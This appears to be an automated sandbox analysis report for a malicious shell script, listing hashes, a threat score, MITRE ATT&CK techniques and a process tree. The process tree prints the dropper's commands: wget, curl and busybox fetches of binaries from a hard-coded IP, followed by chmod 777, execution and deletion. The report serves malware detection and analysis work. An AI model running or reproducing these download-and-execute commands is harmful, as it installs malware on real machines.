1defa97bcc61fa80063c805f11d2bf73e79909cdba0baa2df21f2df1abaa033e

General

Target

1defa97bcc61fa80063c805f11d2bf73e79909cdba0baa2df21f2df1abaa033e.sh
Size

10KB
MD5

95086b1594ecb8d1d6f260c45e28a21c
SHA1

21511d843b85530f6b864ac7f71c20f01f1166b8
SHA256

1defa97bcc61fa80063c805f11d2bf73e79909cdba0baa2df21f2df1abaa033e
SHA512

757577fa6a5246c8ffe2cd896cf521257e0d3ccb384b4ebfc254716190bf903f7e3fc20c81237da47e0a2d020a9089e1a892c67f4876f89e6b78e09be3a72233
SSDEEP

96:N+2fK+qBBAtH4hHiRNonwem5y44fvopFA3/tSFppKEh0yiRNonwefO4fvopFbQ3l:r4hHe15y4g00y0J4l

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 28 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

Processes:

chmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmodchmod

pid	process
795	chmod
750	chmod
886	chmod
895	chmod
937	chmod
955	chmod
864	chmod
913	chmod
949	chmod
943	chmod
768	chmod
820	chmod
838	chmod
880	chmod
901	chmod
757	chmod
907	chmod
985	chmod
991	chmod
826	chmod
874	chmod
973	chmod
979	chmod
961	chmod
967	chmod
919	chmod
931	chmod
925	chmod

Executes dropped EXE 28 IoCs

Processes:

sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rlV6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnurLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt9KtuwmIyCu2831WrZTg35YWBSba74CicDwJHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsxmDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5kg7i06MjgHyfbI0rokBoJywO6zaylfwMrfhgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4xGoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEYRoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5kg7i06MjgHyfbI0rokBoJywO6zaylfwMrfhgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4xJHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsxmDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6NGoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEYRoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakfV6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnurLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMqsL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt9KtuwmIyCu2831WrZTg35YWBSba74CicDw

Reads runtime system information 28 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

Processes:

curlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurlcurl

description	ioc	process
File opened for modification	/tmp/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N	curl
File opened for modification	/tmp/9KtuwmIyCu2831WrZTg35YWBSba74CicDw	curl
File opened for modification	/tmp/9KtuwmIyCu2831WrZTg35YWBSba74CicDw	curl
File opened for modification	/tmp/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf	curl
File opened for modification	/tmp/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx	curl
File opened for modification	/tmp/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu	curl
File opened for modification	/tmp/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2	curl
File opened for modification	/tmp/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf	curl
File opened for modification	/tmp/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq	curl
File opened for modification	/tmp/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY	curl
File opened for modification	/tmp/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf	curl
File opened for modification	/tmp/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2	curl
File opened for modification	/tmp/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu	curl
File opened for modification	/tmp/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x	curl
File opened for modification	/tmp/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf	curl
File opened for modification	/tmp/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48	curl
File opened for modification	/tmp/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx	curl
File opened for modification	/tmp/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N	curl
File opened for modification	/tmp/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt	curl
File opened for modification	/tmp/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5	curl
File opened for modification	/tmp/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5	curl
File opened for modification	/tmp/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl	curl
File opened for modification	/tmp/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48	curl
File opened for modification	/tmp/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl	curl
File opened for modification	/tmp/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt	curl
File opened for modification	/tmp/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY	curl
File opened for modification	/tmp/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x	curl
File opened for modification	/tmp/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq	curl

/tmp/1defa97bcc61fa80063c805f11d2bf73e79909cdba0baa2df21f2df1abaa033e.sh
/tmp/1defa97bcc61fa80063c805f11d2bf73e79909cdba0baa2df21f2df1abaa033e.sh
1⤵
PID:720

/bin/rm
/bin/rm bins.sh
2⤵
PID:723

/usr/bin/wget
wget http://87.120.84.230/bins/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
PID:725

/usr/bin/curl
curl -O http://87.120.84.230/bins/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:741

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
PID:748

/bin/chmod
chmod 777 sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
- File and Directory Permissions Modification
PID:750

/tmp/sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
./sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
- Executes dropped EXE
PID:751

/bin/rm
rm sL1w0uWPV91eOVwMNRqt6y4aenZsuX80rl
2⤵
PID:753

/usr/bin/wget
wget http://87.120.84.230/bins/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
PID:754

/usr/bin/curl
curl -O http://87.120.84.230/bins/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:755

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
PID:756

/bin/chmod
chmod 777 V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
- File and Directory Permissions Modification
PID:757

/tmp/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
./V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
- Executes dropped EXE
PID:758

/bin/rm
rm V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
PID:759

/usr/bin/wget
wget http://87.120.84.230/bins/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
PID:760

/usr/bin/curl
curl -O http://87.120.84.230/bins/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:761

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
PID:764

/bin/chmod
chmod 777 rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
- File and Directory Permissions Modification
PID:768

/tmp/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
./rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
- Executes dropped EXE
PID:769

/bin/rm
rm rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
PID:772

/usr/bin/wget
wget http://87.120.84.230/bins/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
PID:774

/usr/bin/curl
curl -O http://87.120.84.230/bins/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:781

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
PID:790

/bin/chmod
chmod 777 kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
- File and Directory Permissions Modification
PID:795

/tmp/kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
./kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
- Executes dropped EXE
PID:796

/bin/rm
rm kP9YLbBrmy8NYYZ77HcGynm0VLeJkN4KMq
2⤵
PID:799

/usr/bin/wget
wget http://87.120.84.230/bins/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
PID:800

/usr/bin/curl
curl -O http://87.120.84.230/bins/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:811

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
PID:818

/bin/chmod
chmod 777 47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
- File and Directory Permissions Modification
PID:820

/tmp/47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
./47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
- Executes dropped EXE
PID:821

/bin/rm
rm 47tJOUyPvgjmnKkFLDRrKfDe6UCmkI4jPt
2⤵
PID:822

/usr/bin/wget
wget http://87.120.84.230/bins/9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
PID:823

/usr/bin/curl
curl -O http://87.120.84.230/bins/9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:824

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
PID:825

/bin/chmod
chmod 777 9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
- File and Directory Permissions Modification
PID:826

/tmp/9KtuwmIyCu2831WrZTg35YWBSba74CicDw
./9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
- Executes dropped EXE
PID:827

/bin/rm
rm 9KtuwmIyCu2831WrZTg35YWBSba74CicDw
2⤵
PID:828

/usr/bin/wget
wget http://87.120.84.230/bins/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
PID:829

/usr/bin/curl
curl -O http://87.120.84.230/bins/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:830

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
PID:833

/bin/chmod
chmod 777 JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
- File and Directory Permissions Modification
PID:838

/tmp/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
./JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
- Executes dropped EXE
PID:840

/bin/rm
rm JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
PID:843

/usr/bin/wget
wget http://87.120.84.230/bins/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
PID:844

/usr/bin/curl
curl -O http://87.120.84.230/bins/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:852

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
PID:859

/bin/chmod
chmod 777 mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
- File and Directory Permissions Modification
PID:864

/tmp/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
./mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
- Executes dropped EXE
PID:865

/bin/rm
rm mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
PID:868

/usr/bin/wget
wget http://87.120.84.230/bins/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
PID:870

/usr/bin/curl
curl -O http://87.120.84.230/bins/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:872

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
PID:873

/bin/chmod
chmod 777 5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
- File and Directory Permissions Modification
PID:874

/tmp/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
./5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
- Executes dropped EXE
PID:875

/bin/rm
rm 5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
PID:876

/usr/bin/wget
wget http://87.120.84.230/bins/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
PID:877

/usr/bin/curl
curl -O http://87.120.84.230/bins/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:878

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
PID:879

/bin/chmod
chmod 777 kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
- File and Directory Permissions Modification
PID:880

/tmp/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
./kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
- Executes dropped EXE
PID:881

/bin/rm
rm kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
PID:882

/usr/bin/wget
wget http://87.120.84.230/bins/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
PID:883

/usr/bin/curl
curl -O http://87.120.84.230/bins/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:884

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
PID:885

/bin/chmod
chmod 777 hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
- File and Directory Permissions Modification
PID:886

/tmp/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
./hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
- Executes dropped EXE
PID:887

/bin/rm
rm hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
PID:888

/usr/bin/wget
wget http://87.120.84.230/bins/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
PID:889

/usr/bin/curl
curl -O http://87.120.84.230/bins/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:890

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
PID:894

/bin/chmod
chmod 777 GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
- File and Directory Permissions Modification
PID:895

/tmp/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
./GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
- Executes dropped EXE
PID:896

/bin/rm
rm GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
PID:897

/usr/bin/wget
wget http://87.120.84.230/bins/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
PID:898

/usr/bin/curl
curl -O http://87.120.84.230/bins/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:899

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
PID:900

/bin/chmod
chmod 777 RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
- File and Directory Permissions Modification
PID:901

/tmp/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
./RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
- Executes dropped EXE
PID:902

/bin/rm
rm RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
PID:903

/usr/bin/wget
wget http://87.120.84.230/bins/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
PID:904

/usr/bin/curl
curl -O http://87.120.84.230/bins/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:905

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
PID:906

/bin/chmod
chmod 777 gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
- File and Directory Permissions Modification
PID:907

/tmp/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
./gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
- Executes dropped EXE
PID:908

/bin/rm
rm gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
PID:909

/usr/bin/wget
wget http://87.120.84.230/bins/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
PID:910

/usr/bin/curl
curl -O http://87.120.84.230/bins/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:911

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
PID:912

/bin/chmod
chmod 777 5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
- File and Directory Permissions Modification
PID:913

/tmp/5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
./5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
- Executes dropped EXE
PID:914

/bin/rm
rm 5ULQittBiyVuc20xiOOqYHHZKvyjhCBie5
2⤵
PID:915

/usr/bin/wget
wget http://87.120.84.230/bins/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
PID:916

/usr/bin/curl
curl -O http://87.120.84.230/bins/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:917

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
PID:918

/bin/chmod
chmod 777 kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
- File and Directory Permissions Modification
PID:919

/tmp/kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
./kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
- Executes dropped EXE
PID:920

/bin/rm
rm kg7i06MjgHyfbI0rokBoJywO6zaylfwMrf
2⤵
PID:921

/usr/bin/wget
wget http://87.120.84.230/bins/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
PID:922

/usr/bin/curl
curl -O http://87.120.84.230/bins/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:923

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
PID:924

/bin/chmod
chmod 777 hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
- File and Directory Permissions Modification
PID:925

/tmp/hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
./hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
- Executes dropped EXE
PID:926

/bin/rm
rm hgpncQ9nFpNY9fYWsEltyRNTrKbBhUmG4x
2⤵
PID:927

/usr/bin/wget
wget http://87.120.84.230/bins/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
PID:928

/usr/bin/curl
curl -O http://87.120.84.230/bins/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:929

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
PID:930

/bin/chmod
chmod 777 JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
- File and Directory Permissions Modification
PID:931

/tmp/JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
./JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
- Executes dropped EXE
PID:932

/bin/rm
rm JHRJcP4rTn2JJsrmdsdIyL4xKqozNzYvsx
2⤵
PID:933

/usr/bin/wget
wget http://87.120.84.230/bins/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
PID:934

/usr/bin/curl
curl -O http://87.120.84.230/bins/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:935

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
PID:936

/bin/chmod
chmod 777 mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
- File and Directory Permissions Modification
PID:937

/tmp/mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
./mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
- Executes dropped EXE
PID:938

/bin/rm
rm mDkPJBMBooUlnQ0ttRh5S4Y333QjG4xy6N
2⤵
PID:939

/usr/bin/wget
wget http://87.120.84.230/bins/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
PID:940

/usr/bin/curl
curl -O http://87.120.84.230/bins/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:941

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
PID:942

/bin/chmod
chmod 777 GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
- File and Directory Permissions Modification
PID:943

/tmp/GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
./GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
- Executes dropped EXE
PID:944

/bin/rm
rm GoQ0AIEJkrqVc1r6LQ3oGBtVrSOp5qdWEY
2⤵
PID:945

/usr/bin/wget
wget http://87.120.84.230/bins/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
PID:946

/usr/bin/curl
curl -O http://87.120.84.230/bins/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:947

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
PID:948

/bin/chmod
chmod 777 RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
- File and Directory Permissions Modification
PID:949

/tmp/RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
./RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
- Executes dropped EXE
PID:950

/bin/rm
rm RoxS1PQZsIzAQRxvPYANRPLzzMZgp1ZCj2
2⤵
PID:951

/usr/bin/wget
wget http://87.120.84.230/bins/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
PID:952

/usr/bin/curl
curl -O http://87.120.84.230/bins/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:953

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
PID:954

/bin/chmod
chmod 777 gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
- File and Directory Permissions Modification
PID:955

/tmp/gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
./gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
- Executes dropped EXE
PID:956

/bin/rm
rm gNhozjJrEjJcJMo5qqGRzGmoVpyxcLQakf
2⤵
PID:957

/usr/bin/wget
wget http://87.120.84.230/bins/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
PID:958

/usr/bin/curl
curl -O http://87.120.84.230/bins/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:959

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
PID:960

/bin/chmod
chmod 777 V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
- File and Directory Permissions Modification
PID:961

/tmp/V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
./V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
- Executes dropped EXE
PID:962

/bin/rm
rm V6kf4qke2a3etgSAuaRIAgVJVY3DNIOhnu
2⤵
PID:963

/usr/bin/wget
wget http://87.120.84.230/bins/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
PID:964

/usr/bin/curl
curl -O http://87.120.84.230/bins/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:965

/bin/busybox
/bin/busybox wget http://87.120.84.230/bins/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
PID:966

/bin/chmod
chmod 777 rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
- File and Directory Permissions Modification
PID:967

/tmp/rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
./rLQ6ZqMewQeFHLBachNbYF0Qbq0LLgTa48
2⤵
